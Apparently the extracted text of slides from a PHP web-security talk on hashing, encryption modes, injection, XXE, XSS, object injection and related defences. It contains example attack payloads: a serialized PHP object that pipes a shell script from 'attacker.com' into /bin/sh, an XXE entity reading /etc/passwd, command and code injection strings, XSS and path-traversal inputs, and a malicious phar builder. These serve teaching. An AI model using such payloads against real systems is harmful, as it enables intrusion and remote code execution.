Every day new 0-Day exploits will be published
Cryptography is hard. Hard to design and hard to implement
02/2019- Shodan search for MySQL (Port 3306): 5.230.190 Results
09/2017 - "More than 26,000 vulnerable MongoDB databases whacked"
?file=myfile%00
Fixed
// 8 IPs, > 1000 Requests
62.109.30.xxx - - [07/Feb/2019:06:26:50 +0100] "POST /admin/index.php?route=common/login HTTP/1.1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0"
What should i use?
Insecure encryption modes
head -n 4 example-image.ppm > header.txt && tail -n +5 example-image.ppm > body.bin
openssl enc -aes-128-cbc -nosalt -pass pass:"SECURE_PASSWORD" -in body.bin -out body.cbc.bin
cat header.txt body.cbc.bin > example-image.cbc.ppm
openssl enc -aes-128-ecb -nosalt -pass pass:"SECURE_PASSWORD" -in body.bin -out body.ecb.bin
cat header.txt body.ecb.bin > example-image.ecb.ppm
CBC | ECB | Original |
md5('text');
128 Bit NOT SECUREsha1('text');
160 Bit, First collison 02/2017hash('SHA512', 'text');
512 Bit, SHA2hash('SHA3-512', 'text');
512 Bit, No known IssuesCheck always of type safety
var_dump(md5('240610708') == md5('QNKCDZO')); // true
$a = 0e462097431906509019562988736854; // double
$b = 0e830400451993494058024219903391; // double
hash_equals()
sodium_compare()
$pepperFile = __DIR__ . '/.secret_password_pepper';
$password = '123456';
$salt = random_bytes(32);
if (!file_exists($pepperFile)) {
file_put_contents($pepperFile, random_bytes(64));
}
$pepper = file_get_contents($pepperFile);
$hashed = hash('sha3-512', $salt . $password);
$hashedHmac = hash_hmac('sha3-512', $hashed, $pepper);
echo 'Salt: ' . bin2hex($salt) . PHP_EOL;
echo 'Pepper: ' . bin2hex($pepper) . PHP_EOL;
echo $hashed . PHP_EOL;
echo $hashedHmac . PHP_EOL;
// Salt: c76eb9d865300c03e78e2169545ca7d8c3737bb51bd7b9948d993c06e12053ae
// Pepper: 573c9958b8374cfa5ff857f81484d3108ec5be503d57ed61e9ad54a5b52c4bf17b756bbb8599faa3ded5102708bca79360c1b42aa651b631417ed402905eca67
// 3493222c96d4552476947f5f4576ae3bb24111d344ea5bb328a077b5614f61e92227a7ad829d8034268353668aae29c980bad74f04294e547727784c3f5922b1
// 643cf52d5094b481d07a0d72d0bf808609247d8851dee3656f4c42e1adf2620cc87d60022327a872034bbb9b443d4f7b3c1173e12c4546a3cfddfae04cfed63b
combines hashing with salt
// hash
password_hash("myPassword", PASSWORD_BCRYPT, ['cost' => 15]); // ~2 seconds
$res = '$2y$15$nGhD0QbXdvm5YBIF.OAKFOoVeFyK4AiRTF.rq.WnyFjhPRxiQeetm';
$res = '$2y$15$FRNSQUyNbqi1cJ6Qv.zlMuLOsBNuoxMtlOvC16VqTeuTip6Z8PhDa';
// for sensitive accounts
password_hash("myPassword", PASSWORD_ARGON2ID, [
'memory_cost' => PASSWORD_ARGON2_DEFAULT_MEMORY_COST, // 1024 kb
'time_cost' => PASSWORD_ARGON2_DEFAULT_TIME_COST, // 2 seconds
]);
// verify
var_dump(password_verify('myPassword', $hash)); // true, ~2 seconds
var_dump(password_verify('nyPassword', $hash)); // false, ~2 seconds
// needs rehash?
if (password_needs_rehash($hash, PASSWORD_BCRYPT, ['cost' => 20])) {
$newHash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 20]);
}
$password = 'password';
$hashSodium = sodium_crypto_pwhash_str(
$password,
SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
);
$hashPwHash = password_hash($password, PASSWORD_ARGON2ID); // Requires PHP 7.3+
sodium_memzero($password); // clears the memory
// sodium_crypto_pwhash_str_needs_rehash() needs a rehash?
assert(sodium_crypto_pwhash_str_verify($hashSodium, $password));
assert(password_verify($password, $hashPwHash));
assert(sodium_crypto_pwhash_str_verify($hashPwHash, $password));
assert(password_verify($password, $hashSodium));
// EXAMPLE! NEVER USE THIS FOR PRODUCTION!
function verifyOwnCrypt(string $password, string $validate): bool
{
$length = strlen($validate);
for ($i = 0; $i < $length; $i++) {
$char = $validate[$i]; usleep(500); // usleep to prevent bruteforcing
$chunk = (string)(ord($char) + 14);
if (substr($password, 0, strlen($chunk)) === $chunk) {
$password = substr($password, strlen($chunk));
} else {
return false;
}
}
return true;
}
$myPass = '1231359711511312811513094111129129133125128114'; // mySecretPassword
verifyOwnCrypt($myPass, 'mySecretPassword'); // true, 0.0092s
verifyOwnCrypt($myPass, 'aa'); // false, 0.0006s
verifyOwnCrypt($myPass, 'ma'); // false, 0.0012s
// PHP >= 5.6
hash_equals($knownString, $userString)
// PHP >= 7.2
sodium_compare();
|
TOP 10 (2014)
|
PHP 10 Years ago
$user = $_POST['user'];
$passwordHash = sha1($_POST['password']);
$db->query("SELECT * FROM users WHERE username = '$user' AND password_hash = '$passwordHash'");
// foo' OR username = 'admin' --
PHP now with prepared statements
$user = $_POST['user'];
$passwordHash = sha1($_POST['password']);
$db->query("SELECT * FROM users WHERE username = :user AND password_hash = :hash", [
'user' => $user,
'hash' => $passwordHash
]);
Prepared Statements and IN
$_GET['status'] = ['open', 'accepted'];
// No! Sql injection possible
$db->query("SELECT * FROM issues WHERE status IN ('". implode("','", $_GET['status']) ."')");
// Not working because the query looks like this: 'IN("open, accepted")'
$db->query("SELECT * FROM issues WHERE status IN (:status)", [
'status' => implode(',', $_GET['status'])
]);
// this works
$db->query("SELECT * FROM issues WHERE status IN (?,?)", $_GET['status']);
// command injection
$content = system('cat ./' . $_GET['file']); // $_GET['file'] = file;ls
// code injection
eval('$a = ' . $_GET['input'] . ' + 3;'); // $_GET['input'] 5;phpinfo();#
Prevent
GDPR / DSGVO
Expose information about registered emails
$allowedUserMail = ['user@domain.tld'];
$mySecretKey = sha1('mySuperSecurePassword');
if (!in_array($_GET['mail'], $allowedUserMail) {
exit('Access denied');
}
// if we found a correct email, the response time will increase
$userHash = sha1($_GET['password']);
if ($userHash !== $mySecretKey) {
exit('Access denied');
}
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]><foo>&xxe;</foo>
Default disabled with libxml2 version >= 2.9.0
libxml_disable_entity_loader(true);
/user/editprofile?userid=1
class UserController
{
public function resetPasswordAction()
{
$this->user->resetPassword();
}
}
class UserEventHandler
{
public function onDispatch()
{
if (!$this->authenticateUser()) {
throw new ErrorResponseException('Not authorized');
}
}
}
UserController is called before the UserEventHandler
You will not directly see the output and think it's safe
0.0.0.0
=< 2.6.0open_basedir
Reflected XSS
<!-- ?user=<script>alert(/Reflected XSS/)</script> -->
Hello: <?php echo $_GET['user']; ?>
Stored XSS
DOM XSS
Self XSS
.d8888b. 888 888
d88P Y88b 888 888
Y88b. 888 888 This is a browser feature intended for
"Y888b. 888888 .d88b. 88888b. 888 developers. If someone told you to copy-paste
"Y88b. 888 d88""88b 888 "88b 888 something here to enable a Facebook feature
"888 888 888 888 888 888 Y8P or "hack" someone's account, it is a
Y88b d88P Y88b. Y88..88P 888 d88P scam and will give them access to your
"Y8888P" "Y888 "Y88P" 88888P" 888 Facebook account.
888
888
888
__destruct
SimpleXMLElement
with XXE
class FileHandler
{
private $temporaryFile = '';
public function __destruct()
{
exec('rm ' . $this->temporaryFile);
}
}
$userData = unserialize($_POST['userData']);
// a:2:{s:6:"userID";i:1;s:5:"token";s:3:"foo";}
// Array ( [userID] => 1, [token] => foo)
a:3:{s:6:"userID";i:1;s:5:"token";s:3:"foo";s:3:"tmp";O:11:"FileHandler":1:{s:26:"FileHandlertemporaryFile";s:57:"/tmp/file;wget -O- http://attacker.com/shell.sh | /bin/sh";}}
.phar
File Meta-File injection
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// add object as meta data
$object = new FileHandler();
$object->temporaryFile = ';shell execution';
$phar->setMetadata($object);
$phar->stopBuffering();
if (file_exists($_GET['file'])) {}
// ?file=phar:///uploads/test.phar
Prevent
"https", "ftps", "compress.zlib", "php", "file", "glob", "data", "http", "ftp", "phar", "zip"
file_exists('file://' . $_GET['file']) // safe
security-checker
npm audit
POST /user/changeEmail
Host: domain.tld
Content-Type: application/json
{"newEmail": "attacker@example.com"}
$email = '"><svg/onload=confirm(1)>"@x.y';
if (filter_validate($email, FILTER_EMAIL)) {
printf('<a href="mailto:%s">%s</a>', $email, $email);
}
// prevent path traversals
$file = str_replace('../', '', $_GET['file']);
echo file_get_contents('./path/to/files/' . $file);
// /attack.php?file=..././..././..././index.php
class User {
private $username;
private $email;
public static function createFromPost(array $postData): self
{
$user = new self();
array_walk($postData, function($value, $key) use ($user) {
$user->{$key} = $value;
});
return $user;
}
}
User::createFromPost([
'username' => 'User',
'email' => 'User@domain.tld',
]);
class User {
// [...]
private $isAdmin = false;
}
<?php
class DatabaseConnection
{
private $adapter;
public function __construct()
{
$this->adapter = new class() {
public function login(string $user, string $pass): bool {
return false;
}
};
}
public function login(string $username, string $password)
{
if (!$this->adapter->login($username, $password)) {
throw new \Exception('Login to database failed', 100);
}
}
}
$connection = new DatabaseConnection();
$connection->login('db_user', 'secretpassword');
❯ php example.php
PHP Fatal error: Uncaught Exception: Login to database failed in /example.php:17
Stack trace:
#0 /example.php(23): DatabaseConnection->login('db_user', 'secretpassword')
#1 {main}
thrown in /example.php on line 8
<?php
class DatabaseConnection
{
public function login(HiddenString $username, HiddenString $password)
{
if (!$this->adapter->login($username->getValue(), $password->getValue())) {
throw new \Exception('Login to database failed', 100);
}
}
}
final class HiddenString
{
private $value;
public function __construct(string $input)
{
$this->value = $input;
}
public function getValue(): string
{
return $this->value;
}
}
$connection = new DatabaseConnection();
$connection->login(new HiddenString('db_user'), new HiddenString('secretpassword'));
❯ php example.php
PHP Fatal error: Uncaught Exception: Login to database failed in /example.php:7
Stack trace:
#0 /example.php(26): DatabaseConnection->login(Object(HiddenString), Object(HiddenString))
#1 {main}
thrown in /example.php on line 7
<?php
final class HiddenString
{
private $value;
public function __construct(string $input)
{
$this->value = $input;
}
public function getValue(): string
{
return $this->value;
}
public function __debugInfo(): array
{
return [
'value' => '****Obfuscated****'
];
}
}
$text = new HiddenString('secret');
var_dump($text);
print_r($text);
class HiddenString#1 (1) {
public $value =>
string(18) "****Obfuscated****"
}
HiddenString Object
(
[value] => ****Obfuscated****
)
__debugInfo
to prevent Data-Leaks in Logs and DebuggerHiddenString
Class for sensitive Informations as Arguments
if (hash('sha512', $_GET['user']) === $storedHash) {
echo 'Hello User!';
}
// example.php?user[]=oh&user[]=no
Warning: hash() expects parameter 2 to be string, array given
// Convert all old hashes with a cost < 20 to the new hash on the fly
if (password_needs_rehash($hash, PASSWORD_BCRYPT, ['cost' => 20])) {
$newHash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 20]);
}
Content-Security-Policy: default-src https://domain.tld; img-src *; report-uri https://domain.tld/report/csp
Content-Security-Policy: script-src 'unsafe-inline';
// Content-Security-Policy: script-src 'nonce-2726c7f26c';
<script nonce="2726c7f26c">
var inline = 1;
</script>
document.cookie
<a referrerpolicy="origin"
<a rel="noreferrer"
docker run --rm -p 3000:3000 bkimminich/juice-shop